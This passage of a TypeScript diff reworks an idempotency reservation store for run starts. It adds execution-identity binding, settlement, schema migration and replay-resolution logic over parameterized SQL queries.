+        .bind(
+          next,
+          reservation.key,
+          reservation.runId,
+          reservation.owner.kind,
+          reservation.owner.id,
+          reservation.targetKind,
+          reservation.targetId,
+          reservation.threadId ?? null,
+          reservation.createdAt,
+          reservation.updatedAt,
+          reservation.state,
+        )
+        .all();
+    } catch (error) {
+      throw new StartReservationUnreadableError(reservation.key, {
+        cause: error,
+      });
+    }
+    try {
+      return (
+        reservationMutationResult(result, reservation, 'reserved', next) !==
+        undefined
+      );
+    } catch (error) {
+      throw new StartReservationUnreadableError(reservation.key, {
+        cause: error,
+      });
+    }
   }
 
-  /**
-   * Terminal reconcile, keyed by RUN rather than by key: the runtime observes a
-   * run reaching a terminal state and has no idea which key (if any) named it.
-   *
-   * Idempotent by construction (`state <> 'terminal'`), so the several places a
-   * run can reach terminal — completing, failing, being cancelled, timing out —
-   * can all call it without coordinating, and a re-entry after a crash is a
-   * no-op rather than a conflict.
-   *
-   * Returns the number of reservations settled, which is 0 for the overwhelming
-   * majority of runs (nobody used a key) and 1 for the rest.
-   */
-  async settleRun(runId: string): Promise<number> {
-    if (!isPathSafeId(runId)) return 0;
+  /** Associate an alias with an already-observed nonpending execution. */
+  async associateReservation(
+    observed: StartReservationReading,
+    execution: StartExecutionIdentity,
+  ): Promise<StartReservationReading> {
+    const reservation = captureReservation(observed, 'nonterminal');
+    const identity = normalizeStartExecutionIdentity(execution);
+    assertReservationStartIdentity(reservation, identity);
+    await this.#requireReservationSchema(reservation.key);
+    let result: unknown;
+    let failed = false;
+    let writeCause: unknown;
     try {
-      return changesOf(
-        await this.#db
-          .prepare(
-            `UPDATE ${START_IDEMPOTENCY_TABLE}
-               SET state = 'terminal', updated_at = ?
-             WHERE run_id = ? AND state <> 'terminal'`,
-          )
-          .bind(this.#now(), runId)
-          .run(),
+      result = await this.#db
+        .prepare(
+          `UPDATE ${START_IDEMPOTENCY_TABLE}
+         SET start_token = ?, start_table_prefix = ?, start_workflow_id = ?
+         WHERE key = ? AND run_id = ?
+           AND owner_kind = ? AND owner_id = ?
+           AND target_kind = ? AND target_id = ? AND thread_id IS ?
+           AND created_at = ? AND updated_at = ? AND state = ?
+           AND state <> 'terminal'
+           AND start_token = '' AND start_table_prefix IS NULL AND start_workflow_id IS NULL
+         RETURNING *`,
+        )
+        .bind(
+          identity.startToken,
+          identity.tablePrefix,
+          identity.workflowId,
+          reservation.key,
+          reservation.runId,
+          reservation.owner.kind,
+          reservation.owner.id,
+          reservation.targetKind,
+          reservation.targetId,
+          reservation.threadId ?? null,
+          reservation.createdAt,
+          reservation.updatedAt,
+          reservation.state,
+        )
+        .all();
+    } catch (error) {
+      failed = true;
+      writeCause = error;
+    }
+    if (!failed) {
+      try {
+        const row = reservationMutationResult(
+          result,
+          reservation,
+          reservation.state,
+          reservation.updatedAt,
+          identity,
+        );
+        if (row) return row;
+      } catch (error) {
+        throw new StartReservationUnreadableError(reservation.key, {
+          cause: error,
+        });
+      }
+    }
+    let current: StartReservationReading | undefined;
+    try {
+      current = await this.readForAdmission(reservation.key);
+    } catch (error) {
+      if (!failed) throw error;
+    }
+    if (
+      current &&
+      sameReservationIdentity(current, reservation) &&
+      sameReservationExecution(current, identity)
+    )
+      return current;
+    if (failed)
+      throw new StartReservationUnreadableError(reservation.key, {
+        cause: writeCause,
+      });
+    throw new RunAdmissionConflictError('reservation-changed');
+  }
+
+  /** Bind a prepared start; only exact lost-write readback can recover. */
+  async bindPreparedStart(
+    observed: StartReservationReading,
+    execution: StartExecutionIdentity,
+  ): Promise<StartReservationReading> {
+    const reservation = captureReservation(observed, 'started');
+    const identity = normalizeStartExecutionIdentity(execution);
+    assertReservationStartIdentity(reservation, identity);
+    await this.#requireReservationSchema(reservation.key);
+    let result: unknown;
+    try {
+      result = await this.#db
+        .prepare(
+          `UPDATE ${START_IDEMPOTENCY_TABLE}
+         SET start_token = ?, start_table_prefix = ?, start_workflow_id = ?
+         WHERE key = ? AND run_id = ?
+           AND owner_kind = ? AND owner_id = ?
+           AND target_kind = ? AND target_id = ? AND thread_id IS ?
+           AND created_at = ? AND updated_at = ? AND state = ?
+           AND state = 'started'
+           AND start_token = '' AND start_table_prefix IS NULL AND start_workflow_id IS NULL
+         RETURNING *`,
+        )
+        .bind(
+          identity.startToken,
+          identity.tablePrefix,
+          identity.workflowId,
+          reservation.key,
+          reservation.runId,
+          reservation.owner.kind,
+          reservation.owner.id,
+          reservation.targetKind,
+          reservation.targetId,
+          reservation.threadId ?? null,
+          reservation.createdAt,
+          reservation.updatedAt,
+          reservation.state,
+        )
+        .all();
+    } catch (error) {
+      let current: StartReservationReading | undefined;
+      try {
+        current = await this.readForAdmission(reservation.key);
+      } catch {
+        // Preserve the write uncertainty even when its one readback also fails.
+      }
+      if (
+        current &&
+        sameReservationIdentity(current, reservation) &&
+        current.state === reservation.state &&
+        current.updatedAt === reservation.updatedAt &&
+        sameReservationExecution(current, identity)
+      )
+        return current;
+      throw new StartReservationUnreadableError(reservation.key, {
+        cause: error,
+      });
+    }
+    let row: StartReservationReading | undefined;
+    try {
+      row = reservationMutationResult(
+        result,
+        reservation,
+        reservation.state,
+        reservation.updatedAt,
+        identity,
       );
     } catch (error) {
-      // A database with no reservation table has no reservation to settle. Any
-      // other fault is real and must not be mistaken for "nothing to do".
+      throw new StartReservationUnreadableError(reservation.key, {
+        cause: error,
+      });
+    }
+    if (row) return row;
+    throw new RunAdmissionConflictError('reservation-changed');
+  }
+
+  /** Settle every alias of this complete physical/logical execution. */
+  async settleExecution(execution: StartExecutionIdentity): Promise<number> {
+    const identity = normalizeStartExecutionIdentity(execution);
+    const clock = this.#reservationClock(identity.runId);
+    let result: unknown;
+    try {
+      const stage = await this.#schemaStage();
+      if (stage === undefined) return 0;
+      if (stage !== 3)
+        throw new ReservationSchemaError('settlement requires current schema');
+      result = await this.#db
+        .prepare(
+          `UPDATE ${START_IDEMPOTENCY_TABLE} SET state = 'terminal', updated_at = ?
+         WHERE run_id = ? AND start_token = ? AND start_table_prefix IS ?
+           AND start_workflow_id = ? AND owner_kind = ? AND owner_id = ?
+           AND target_kind = ? AND target_id = ? AND thread_id IS ?
+           AND state <> 'terminal' RETURNING *`,
+        )
+        .bind(
+          clock,
+          identity.runId,
+          identity.startToken,
+          identity.tablePrefix,
+          identity.workflowId,
+          identity.owner.kind,
+          identity.owner.id,
+          identity.target.kind,
+          identity.target.id,
+          identity.target.kind === 'agent' ? identity.target.threadId : null,
+        )
+        .all();
+    } catch (error) {
       if (isMissingReservationTable(error)) return 0;
-      throw new StartReservationUnreadableError(runId, { cause: error });
+      throw new StartReservationUnreadableError(identity.runId, {
+        cause: error,
+      });
+    }
+    try {
+      const keys = new Set<string>();
+      for (const raw of reservationResultRows(result)) {
+        const row = admissionReservationFromRow(raw, 3);
+        if (
+          keys.has(row.key) ||
+          row.state !== 'terminal' ||
+          row.updatedAt !== clock ||
+          !sameReservationExecution(row, identity)
+        )
+          throw new Error('settlement returned an unexpected reservation');
+        keys.add(row.key);
+      }
+      return keys.size;
+    } catch (error) {
+      throw new StartReservationUnreadableError(identity.runId, {
+        cause: error,
+      });
+    }
+  }
+
+  #reservationClock(key: string): number {
+    try {
+      const clock = this.#now();
+      if (!Number.isFinite(clock))
+        throw new Error('reservation clock is not finite');
+      return clock;
+    } catch (error) {
+      throw new StartReservationUnreadableError(key, { cause: error });
+    }
+  }
+
+  #nextReservationStamp(reservation: StartReservationReading): number {
+    const clock = this.#reservationClock(reservation.key);
+    const next = Math.max(clock, reservation.updatedAt + 1);
+    if (!Number.isFinite(next) || next <= reservation.updatedAt)
+      throw new StartReservationUnreadableError(reservation.key, {
+        cause: new Error('reservation update stamp is exhausted'),
+      });
+    return next;
+  }
+
+  async #requireReservationSchema(key: string): Promise<void> {
+    try {
+      if ((await this.#schemaStage()) !== 3)
+        throw new ReservationSchemaError('mutation requires current schema');
+    } catch (error) {
+      throw new StartReservationUnreadableError(key, { cause: error });
     }
   }
 
@@ -905,31 +1005,155 @@ export class StartIdempotencyStore {
    * An absent TABLE reads as an absent reservation, because on a deployment
    * where no key has ever been used those are the same fact.
    */
-  async read(key: string): Promise<StartReservation | undefined> {
+  async read(key: string): Promise<StartReservationReading | undefined> {
+    const safeKey = assertKey(key);
+    const rows = await this.#readReservations(
+      `SELECT * FROM ${START_IDEMPOTENCY_TABLE} WHERE key = ? LIMIT 2`,
+      [safeKey],
+      safeKey,
+    );
+    if (rows.length > 1 || (rows[0] !== undefined && rows[0].key !== safeKey)) {
+      throw new StartReservationUnreadableError(safeKey, {
+        cause: new Error(
+          'reservation query did not return the requested singleton key',
+        ),
+      });
+    }
+    const row = rows[0];
+    return row;
+  }
+
+  usesDatabase(binding: object): boolean {
+    return this.#db === binding;
+  }
+
+  /** @internal Pure current-stage read, including for an absent key. */
+  async readForAdmission(
+    key: string,
+  ): Promise<StartReservationReading | undefined> {
     const safeKey = assertKey(key);
-    let rows: StartReservationRow[];
     try {
-      rows = (
+      const result = await this.#db
+        .prepare(
+          `SELECT * FROM ${START_IDEMPOTENCY_TABLE} WHERE key = ? LIMIT 2`,
+        )
+        .bind(safeKey)
+        .all();
+      const row = decodeStartReservationAdmissionResult(result);
+      validateStartReservationAdmissionSchema(
         await this.#db
-          .prepare(
-            `SELECT key, owner_kind, owner_id, target_kind, target_id, run_id,
-                    thread_id, state, created_at, updated_at
-             FROM ${START_IDEMPOTENCY_TABLE} WHERE key = ?`,
-          )
-          .bind(safeKey)
-          .all<StartReservationRow>()
-      ).results;
+          .prepare(`PRAGMA table_xinfo(${START_IDEMPOTENCY_TABLE})`)
+          .all(),
+      );
+      if (row !== undefined && row.key !== safeKey)
+        throw new ReservationSchemaError('admission returned another key');
+      return row;
     } catch (error) {
-      if (isMissingReservationTable(error)) return undefined;
       throw new StartReservationUnreadableError(safeKey, { cause: error });
     }
-    const row = rows[0];
-    return row === undefined ? undefined : reservationFromRow(row);
+  }
+
+  async #schemaStage(): Promise<StartReservationSchemaStage | undefined> {
+    return reservationSchemaStage(
+      await this.#db
+        .prepare(`PRAGMA table_xinfo(${START_IDEMPOTENCY_TABLE})`)
+        .all(),
+    );
+  }
+
+  async #readReservations(
+    sql: string,
+    bindings: readonly unknown[],
+    key: string,
+  ): Promise<StartReservationReading[]> {
+    try {
+      let result: unknown;
+      try {
+        result = await this.#db
+          .prepare(sql)
+          .bind(...bindings)
+          .all();
+      } catch (error) {
+        if (isMissingReservationTable(error)) return [];
+        throw error;
+      }
+      const rows = reservationResultRows(result);
+      const stage = await this.#schemaStage();
+      if (stage === undefined)
+        throw new ReservationSchemaError('row observation has no schema');
+      return rows.map((row) => reservationFromRow(row, stage));
+    } catch (error) {
+      throw new StartReservationUnreadableError(key, { cause: error });
+    }
+  }
+
+  async #migrationStage(): Promise<StartReservationSchemaStage> {
+    const stage = await this.#schemaStage();
+    if (stage === undefined)
+      throw new ReservationSchemaError(
+        'table is missing during initialization',
+      );
+    if (stage === 0 || stage === 3) return stage;
+    const predicate = START_IDEMPOTENCY_COLUMNS.slice(10, 10 + stage)
+      .map(([name]) => `${name} IS NOT NULL`)
+      .join(' OR ');
+    const rows = reservationResultRows(
+      await this.#db
+        .prepare(
+          `SELECT * FROM ${START_IDEMPOTENCY_TABLE} WHERE ${predicate} LIMIT 1`,
+        )
+        .all(),
+    );
+    const observed = await this.#schemaStage();
+    if (observed === undefined || observed < stage)
+      throw new ReservationSchemaError(
+        'schema regressed during initialization',
+      );
+    if (rows.length > 1)
+      throw new ReservationSchemaError(
+        'partial binding query returned multiple rows',
+      );
+    for (const row of rows) reservationFromRow(row, observed);
+    return observed;
   }
 
   /** Create the table and its two access paths. Only `reserve()` reaches this. */
   async #createSchema(): Promise<void> {
-    await this.#db.prepare(START_IDEMPOTENCY_DDL).run();
+    if ((await this.#schemaStage()) === undefined) {
+      await this.#db.prepare(START_IDEMPOTENCY_DDL).run();
+    }
+    for (
+      let index: number = await this.#migrationStage();
+      index < START_IDEMPOTENCY_ADDITIONS.length;
+      index += 1
+    ) {
+      const stage = await this.#migrationStage();
+      if (stage < index)
+        throw new ReservationSchemaError(
+          'schema regressed during initialization',
+        );
+      if (stage > index) continue;
+      try {
+        await this.#db
+          .prepare(
+            `ALTER TABLE ${START_IDEMPOTENCY_TABLE} ADD COLUMN ${START_IDEMPOTENCY_ADDITIONS[index]}`,
+          )
+          .run();
+      } catch (error) {
+        let observed: StartReservationSchemaStage | undefined;
+        try {
+          observed = await this.#schemaStage();
+        } catch (readError) {
+          if (readError instanceof ReservationSchemaError) throw readError;
+          throw error;
+        }
+        if (observed === undefined || observed <= index) throw error;
+      }
+    }
+    if ((await this.#schemaStage()) !== 3)
+      throw new ReservationSchemaError(
+        'initialization did not reach the current schema',
+      );
     await this.#db.prepare(START_IDEMPOTENCY_RUN_INDEX_DDL).run();
     await this.#db.prepare(START_IDEMPOTENCY_STATE_INDEX_DDL).run();
   }
@@ -941,62 +1165,22 @@ export class StartIdempotencyStore {
    */
   async reservationsForRuns(
     runIds: readonly string[],
-  ): Promise<StartReservation[]> {
+  ): Promise<StartReservationReading[]> {
     const safeRunIds = runIds.filter((runId) => isPathSafeId(runId));
     if (safeRunIds.length === 0) return [];
     const placeholders = safeRunIds.map(() => '?').join(', ');
-    let rows: StartReservationRow[];
-    try {
-      rows = (
-        await this.#db
-          .prepare(
-            `SELECT key, owner_kind, owner_id, target_kind, target_id, run_id,
-                    thread_id, state, created_at, updated_at
-             FROM ${START_IDEMPOTENCY_TABLE} WHERE run_id IN (${placeholders})`,
-          )
-          .bind(...safeRunIds)
-          .all<StartReservationRow>()
-      ).results;
-    } catch (error) {
-      if (isMissingReservationTable(error)) return [];
+    const rows = await this.#readReservations(
+      `SELECT * FROM ${START_IDEMPOTENCY_TABLE} WHERE run_id IN (${placeholders})`,
+      safeRunIds,
+      '(run lookup)',
+    );
+    const requested = new Set(safeRunIds);
+    if (rows.some((row) => !requested.has(row.runId))) {
       throw new StartReservationUnreadableError('(run lookup)', {
-        cause: error,
+        cause: new Error('reservation lookup returned an unrequested run'),
       });
     }
-    return rows.map((row) => reservationFromRow(row));
-  }
-
-  async #casState(
-    key: string,
-    runId: string,
-    from: StartReservationState,
-    to: StartReservationState,
-  ): Promise<boolean> {
-    const safeKey = assertKey(key);
-    if (!isPathSafeId(runId)) {
-      throw new InvalidStartIdempotencyRequestError(
-        'reservation runId must be a URL-path-safe identifier',
-      );
-    }
-    try {
-      return (
-        changesOf(
-          await this.#db
-            .prepare(
-              `UPDATE ${START_IDEMPOTENCY_TABLE}
-                 SET state = ?, updated_at = ?
-               WHERE key = ? AND run_id = ? AND state = ?`,
-            )
-            .bind(to, this.#now(), safeKey, runId, from)
-            .run(),
-        ) > 0
-      );
-    } catch (error) {
-      // No table means no reservation, so no transition happened — which is
-      // exactly what `false` says, and the caller's replay path handles it.
-      if (isMissingReservationTable(error)) return false;
-      throw new StartReservationUnreadableError(safeKey, { cause: error });
-    }
+    return rows;
   }
 }
 
@@ -1012,252 +1196,228 @@ export class StartIdempotencyStore {
 // its liveness are read from, which is exactly what the injected surface says.
 // ---------------------------------------------------------------------------
 
-/** The two surface-specific reads the replay decision needs. */
-export interface IdempotentStartSurface<TPersisted> {
-  /**
-   * The reserved run's persisted state, or undefined when nothing has been
-   * persisted yet. This is the FIRST question asked on every replay, because a
-   * persisted run makes every other branch moot: the work happened, its outcome
-   * is readable, and the honest answer to the retry is that outcome.
-   */
-  persisted(reservation: StartReservation): Promise<TPersisted | undefined>;
-  /**
-   * Whether the reserved run is executing RIGHT NOW — asked only when nothing
-   * is persisted, and only to separate "still working" from "died holding the
-   * claim". Never a timer (see the module header).
-   *
-   * KNOWN WINDOW — the claim-to-dispatch gap. The winning CAS lands on the
-   * Worker, and the object that would report the run live only learns about it
-   * one dispatch later. A concurrent retry probing inside that gap is told
-   * UNRESOLVABLE for a run that is about to execute perfectly well.
-   *
-   * That is a FALSE ALARM, never a lost or duplicated run: the claim still
-   * stands, the winner still executes, and the caller's next retry replays the
-   * persisted summary. Closing it would take moving the claim into the target
-   * object itself, so that `started` becomes observable only from inside the
-   * body that is already executing. It is deliberately NOT closed with a grace
-   * period: a bound short enough to cover a dispatch is indistinguishable from
-   * the timer this design rejected, and once a timer exists somebody will grow
-   * it to cover a slow run and re-open the double-charge it was rejected for.
-   */
-  live(reservation: StartReservation): Promise<boolean>;
-}
-
-/** What a surface must do next, once the reservation has been resolved. */
-export type IdempotentStartDecision<TPersisted> =
-  | {
-      /** Nobody has started this key's run: proceed, using THIS runId. */
-      kind: 'start';
-      reservation: StartReservation;
-    }
+export type PersistedStartResult<T> =
+  | { readonly kind: 'initial'; readonly execution: StartExecutionIdentity }
   | {
-      /** The run already exists: answer with its persisted state, unchanged. */
-      kind: 'replay';
-      reservation: StartReservation;
-      persisted: TPersisted;
+      readonly kind: 'result';
+      readonly value: T;
+      readonly execution: StartExecutionIdentity;
     };
 
-/**
- * Resolve an idempotency key into "start this run" or "replay that one".
- *
- * The order of the checks below IS the semantics:
- *
- *  1. Reserve. A brand-new key that also wins the claim is the only path that
- *     starts anything.
- *  2. Persisted state, BEFORE the reservation's own state. A run that persisted
- *     is answerable whatever the reservation says, and reading the row's state
- *     first would let a stale `started` refuse a retry whose run is sitting
- *     right there, finished.
- *  3. `reserved` with nothing persisted means the first caller died between the
- *     insert and the claim, having executed nothing — so this caller may take
- *     the claim and proceed with the SAME runId. That convergence is what makes
- *     a crashed reservation self-healing instead of a wedged key.
- *  4. `started` with nothing persisted is the only ambiguous state in the
- *     system, and the liveness probe is what resolves it.
- *  5. `terminal` with nothing persisted is a completed run whose summary aged
- *     out. Spent, never re-run.
- *
- * Throws the applicable structured taxonomy errors; a surface renders them
- * through `doErrorResponse` (or its router's equivalent) with no re-mapping.
- * Across the public keyed-start surface the eight codes are the five decision
- * refusals — IDEMPOTENT_START_OWNER_MISMATCH (403),
- * IDEMPOTENT_START_TARGET_MISMATCH (409), IDEMPOTENT_START_PENDING
- * (503), IDEMPOTENT_START_UNRESOLVABLE (409), and
- * IDEMPOTENT_START_ALREADY_SETTLED (409) — plus IDEMPOTENT_START_UNSUPPORTED
- * (503), INVALID_START_IDEMPOTENCY_REQUEST (400), and
- * IDEMPOTENT_START_UNREADABLE (503).
- */
-export async function beginIdempotentStart<TPersisted>(
+export interface IdempotentStartSurface<T> {
+  persisted(
+    reservation: StartReservationReading,
+  ): Promise<PersistedStartResult<T> | undefined>;
+  live(reservation: StartReservationReading): Promise<boolean>;
+}
+
+export type IdempotentStartDecision<T> =
+  | { kind: 'start'; reservation: StartReservationReading }
+  | { kind: 'replay'; reservation: StartReservationReading; persisted: T };
+
+export async function beginIdempotentStart<T>(
   store: StartIdempotencyStore,
   request: StartReservationRequest,
-  surface: IdempotentStartSurface<TPersisted>,
+  surface: IdempotentStartSurface<T>,
   fence?: ExecutionFenceWiring,
-): Promise<IdempotentStartDecision<TPersisted>> {
-  const { reservation, created } = await store.reserve(request);
-  if (created && (await store.claim(reservation.key, reservation.runId))) {
-    return { kind: 'start', reservation };
+  mutationEpoch?: number,
+): Promise<IdempotentStartDecision<T>> {
+  const capturedRequest = captureStartRequest(request);
+  const epoch = normalizeMutationEpoch(mutationEpoch);
+  const { persisted, live } = surface;
+  const capturedSurface: IdempotentStartSurface<T> = {
+    persisted: (row) => Reflect.apply(persisted, surface, [row]),
+    live: (row) => Reflect.apply(live, surface, [row]),
+  };
+  let proof: ProofEntryExpectation | undefined;
+  if (fence !== undefined && fence !== 'none') {
+    try {
+      const reading = await fence.read();
+      if (
+        reading.state === 'proof-only' &&
+        reading.proofKey === capturedRequest.key
+      )
+        proof = Object.freeze({
+          key: capturedRequest.key,
+          mutationEpoch: reading.mutationEpoch,
+          transitionRevision: reading.transitionRevision,
+        });
+    } catch {
+      /* A failed observation cannot authorize nomination. */
+    }
   }
-  const decision = await resolveExistingReservation(
-    store,
-    reservation,
-    surface,
-  );
-  if (decision.kind === 'replay') {
-    await rebindProofRun(fence, decision.reservation);
+  const { reservation, created } = await store.reserve(capturedRequest);
+  let decision: IdempotentStartDecision<T>;
+  // A creator can read back another caller's released reservation.
+  if (
+    created &&
+    reservation.binding.kind === 'unbound' &&
+    reservation.state === 'reserved' &&
+    reservation.updatedAt === reservation.createdAt
+  ) {
+    const claimed = await store.claimReservation(reservation);
+    if (claimed !== undefined) return { kind: 'start', reservation: claimed };
+    decision = await resolveLostClaim(store, reservation, capturedSurface);
+  } else
+    decision = await resolveExistingReservation(
+      store,
+      reservation,
+      capturedSurface,
+      true,
+    );
+  if (
+    decision.kind === 'replay' &&
+    proof !== undefined &&
+    fence !== undefined &&
+    fence !== 'none'
+  ) {
+    const row = decision.reservation;
+    if (
+      row.binding.kind === 'bound' &&
+      row.binding.execution.tablePrefix !== null
+    ) {
+      try {
+        if (row.targetKind === 'agent' && row.threadId === undefined)
+          throw new InvalidExecutionIdentityError('admission');
+        await fence.rebindProofRun({
+          reservation: row,
+          execution: {
+            ...row.binding.execution,
+            tablePrefix: row.binding.execution.tablePrefix,
+            owner: row.owner,
+            target:
+              row.targetKind === 'agent'
+                ? {
+                    kind: 'agent',
+                    id: row.targetId,
+                    threadId: row.threadId as string,
+                  }
+                : { kind: 'workflow', id: row.targetId },
+          },
+          proof,
+          mutationEpoch: epoch,
+          reservationStore: store,
+        });
+      } catch (error) {
+        console.error(
+          JSON.stringify({
+            type: 'start-reservation-proof-rebind-failed',
+            key: row.key,
+            runId: row.runId,
+            error: error instanceof Error ? error.message : String(error),
+          }),
+        );
+      }
+    }
   }
   return decision;
 }
 
-/**
- * Re-assert a proof-only fence's binding to the run this key already made.
- *
- * The binding is written by `RunnerRuntime.start`, which a REPLAY never
- * reaches — so without this, a proof run whose fence lost its `proof_run_id`
- * (the fence was moved away and back onto the same key while its run survived)
- * would be a run the deployment can read but can no longer RESUME: proof-only
- * admits existing work only for `proof_run_id`, and there would be none.
- *
- * Every guard lives in `recordProofRun`'s own CAS, which is why this can be
- * unconditional and best-effort: it changes nothing unless the fence is in
- * proof-only under EXACTLY this key with the slot empty or already holding this
- * run. A different key, a different state, a different proof run — all are zero
- * rows and no harm. A failure is swallowed rather than raised, because the
- * caller is being handed the persisted state of a run that already happened,
- * and refusing that read would answer a successful retry with an error while
- * changing nothing about the run.
- */
-async function rebindProofRun(
-  fence: ExecutionFenceWiring | undefined,
-  reservation: StartReservation,
-): Promise<void> {
-  if (fence === undefined || fence === 'none') return;
+function decodePersistedStart<T>(
+  value: PersistedStartResult<T>,
+  row: StartReservationReading,
+): PersistedStartResult<T> {
   try {
-    // The reservation KEY is passed as the fence's PROOF KEY: proof-only
-    // nominates one idempotency key, and `admitsRunStart` admits the start
-    // carrying it — so the two identifiers are the same string by construction,
-    // and a rebind for any other key is the zero-row no-op described above.
-    await fence.recordProofRun(reservation.key, reservation.runId);
-  } catch (error) {
-    console.error(
-      JSON.stringify({
-        type: 'start-reservation-proof-rebind-failed',
-        key: reservation.key,
-        runId: reservation.runId,
-        error: error instanceof Error ? error.message : String(error),
-      }),
-    );
+    if (
+      value === null ||
+      typeof value !== 'object' ||
+      Array.isArray(value) ||
+      !Object.hasOwn(value, 'kind') ||
+      !Object.hasOwn(value, 'execution')
+    )
+      throw new Error('persisted start result is malformed');
+    const { kind, execution: raw } = value;
+    if (
+      (kind !== 'initial' && kind !== 'result') ||
+      (kind === 'initial'
+        ? Object.hasOwn(value, 'value')
+        : !Object.hasOwn(value, 'value'))
+    )
+      throw new Error('persisted start result is malformed');
+    const { tablePrefix, workflowId, runId, startToken, owner, target } = raw;
+    const execution = normalizeStartExecutionIdentity({
+      tablePrefix,
+      workflowId,
+      runId,
+      startToken,
+      owner,
+      target,
+    });
+    if (execution.tablePrefix !== tablePrefix)
+      throw new Error('persisted start prefix is not canonical');
+    assertReservationStartIdentity(row, execution);
+    return kind === 'initial'
+      ? { kind, execution }
+      : { kind, execution, value: value.value };
+  } catch (cause) {
+    throw new StartReservationUnreadableError(row.key, { cause });
   }
 }
 
-async function resolveExistingReservation<TPersisted>(
+async function resolveExistingReservation<T>(
   store: StartIdempotencyStore,
-  observed: StartReservation,
-  surface: IdempotentStartSurface<TPersisted>,
-): Promise<IdempotentStartDecision<TPersisted>> {
-  const persisted = await surface.persisted(observed);
-  if (persisted !== undefined) {
-    return { kind: 'replay', reservation: observed, persisted };
+  observed: StartReservationReading,
+  surface: IdempotentStartSurface<T>,
+  mayClaim: boolean,
+): Promise<IdempotentStartDecision<T>> {
+  if (observed.binding.kind === 'legacy') {
+    if (observed.state === 'terminal')
+      throw new IdempotentStartAlreadySettledError(observed);
+    throw new IdempotentStartUnresolvableError(observed);
   }
-  if (observed.state === 'reserved') {
-    if (await store.claim(observed.key, observed.runId)) {
-      return { kind: 'start', reservation: observed };
+  const value = await surface.persisted(observed);
+  if (value !== undefined) {
+    const persisted = decodePersistedStart(value, observed);
+    if (
+      observed.binding.kind === 'bound' &&
+      !sameReservationExecution(observed, persisted.execution)
+    ) {
+      if (observed.state === 'terminal')
+        throw new IdempotentStartAlreadySettledError(observed);
+      throw new IdempotentStartUnresolvableError(observed);
     }
-    // The claim was taken between the read and here. Re-read rather than
-    // assuming: the winner may already have persisted, in which case the right
-    // answer is its outcome and not a refusal.
-    const current = await store.read(observed.key);
-    if (current === undefined || current.runId !== observed.runId) {
-      // The reservation vanished or was replaced under us. Refusing is the only
-      // safe answer — a caller that retries gets a clean reserve, while
-      // silently starting here would start a run under an id nothing reserved.
-      throw new StartReservationUnreadableError(observed.key);
+    if (persisted.kind === 'result') {
+      if (observed.binding.kind === 'bound')
+        return {
+          kind: 'replay',
+          reservation: observed,
+          persisted: persisted.value,
+        };
+      if (observed.state === 'terminal')
+        throw new IdempotentStartAlreadySettledError(observed);
+      const reservation = await store.associateReservation(
+        observed,
+        persisted.execution,
+      );
+      return { kind: 'replay', reservation, persisted: persisted.value };
     }
-    return resolveClaimedReservation(current, surface);
-  }
-  return resolveClaimedReservation(observed, surface);
-}
-
-async function resolveClaimedReservation<TPersisted>(
-  reservation: StartReservation,
-  surface: IdempotentStartSurface<TPersisted>,
-): Promise<IdempotentStartDecision<TPersisted>> {
-  if (reservation.state === 'terminal') {
-    throw new IdempotentStartAlreadySettledError(reservation);
-  }
-  if (await surface.live(reservation)) {
-    throw new IdempotentStartPendingError(reservation);
+  } else if (
+    mayClaim &&
+    observed.state === 'reserved' &&
+    observed.binding.kind === 'unbound'
+  ) {
+    if (await surface.live(observed))
+      throw new IdempotentStartPendingError(observed);
+    const claimed = await store.claimReservation(observed);
+    if (claimed !== undefined) return { kind: 'start', reservation: claimed };
+    return resolveLostClaim(store, observed, surface);
   }
-  throw new IdempotentStartUnresolvableError(reservation);
+  if (observed.state === 'terminal')
+    throw new IdempotentStartAlreadySettledError(observed);
+  if (await surface.live(observed))
+    throw new IdempotentStartPendingError(observed);
+  throw new IdempotentStartUnresolvableError(observed);
 }
 
-/**
- * Give back a claim that the EXECUTION FENCE refused, then re-throw.
- *
- * Homed here, beside the state machine, rather than written out at each start
- * site: the rollback is only correct for this one error family, and a copy that
- * widened its catch — to "any start failure", say — would hand the next retry a
- * fresh run after a start that may well have executed. Keeping the predicate
- * and the CAS in one function is what stops that widening from being a one-line
- * edit somebody makes in a hurry.
- *
- * THE CLASS INVARIANT THIS RELIES ON. Giving a claim back is only sound for a
- * failure that provably executed NOTHING, and that is a property of the two
- * fence refusal codes rather than of the JavaScript class carrying them:
- *
- *   EXECUTION_FENCED           is authored at a gate — the run object's start
- *                              route, before any of its own reads or writes,
- *                              and `RunnerRuntime.#assertStartFence`, before
- *                              the run lock and before core mints anything.
- *   EXECUTION_FENCE_UNREADABLE is authored by the fence READ that fronts those
- *                              same gates, which is even earlier.
- *
- * Neither code is reachable from anywhere past the point of execution, so a
- * refusal carrying one is pre-execution wherever it was observed.
- *
- * Which is why the predicate is `isExecutionFenceRefusal` — the widened one,
- * which admits the wire rebuild — and NOT `instanceof ExecutionFencedError`.
- * Both of this function's callers sit on the far side of a Durable Object
- * boundary in every DO-backed host: the run object throws, `doErrorResponse`
- * renders, and `doSummary` (or the agent topology's `errorFrom`) rebuilds a
- * `RunRouteError` carrying the same status and the same structured reason but
- * not the same class. An instanceof-only test would answer "not a fence
- * refusal" for exactly the deployments this rollback exists to protect, and a
- * drained-then-reopened deployment would find every key that was in flight
- * permanently stuck at UNRESOLVABLE. In-process hosts (a `{ storage }` runtime
- * wired straight into the router) do throw the class, so both shapes are live
- * and one predicate has to cover them.
- *
- * The rollback itself is best-effort: it runs while the deployment is already
- * refusing to execute, so its own failure must not replace the fence's refusal
- * with a storage error the caller cannot act on. A rollback that does not land
- * leaves an UNRESOLVABLE reservation — recoverable by investigation — while a
- * swallowed fence refusal would leave the caller believing the deployment is
- * broken rather than fenced.
- */
-export async function rollbackFencedStart(
+async function resolveLostClaim<T>(
   store: StartIdempotencyStore,
-  key: string,
-  runId: string,
-  error: unknown,
-): Promise<never> {
-  if (isExecutionFenceRefusal(error)) {
-    try {
-      await store.release(key, runId);
-    } catch (rollbackError) {
-      console.error(
-        JSON.stringify({
-          type: 'start-reservation-rollback-failed',
-          key,
-          runId,
-          error:
-            rollbackError instanceof Error
-              ? rollbackError.message
-              : String(rollbackError),
-        }),
-      );
-    }
-  }
-  throw error;
+  observed: StartReservationReading,
+  surface: IdempotentStartSurface<T>,
+): Promise<IdempotentStartDecision<T>> {
+  const current = await store.readForAdmission(observed.key);
+  if (current === undefined || !sameReservationIdentity(current, observed))
+    throw new StartReservationUnreadableError(observed.key);
+  return resolveExistingReservation(store, current, surface, false);
 }
 
 /**
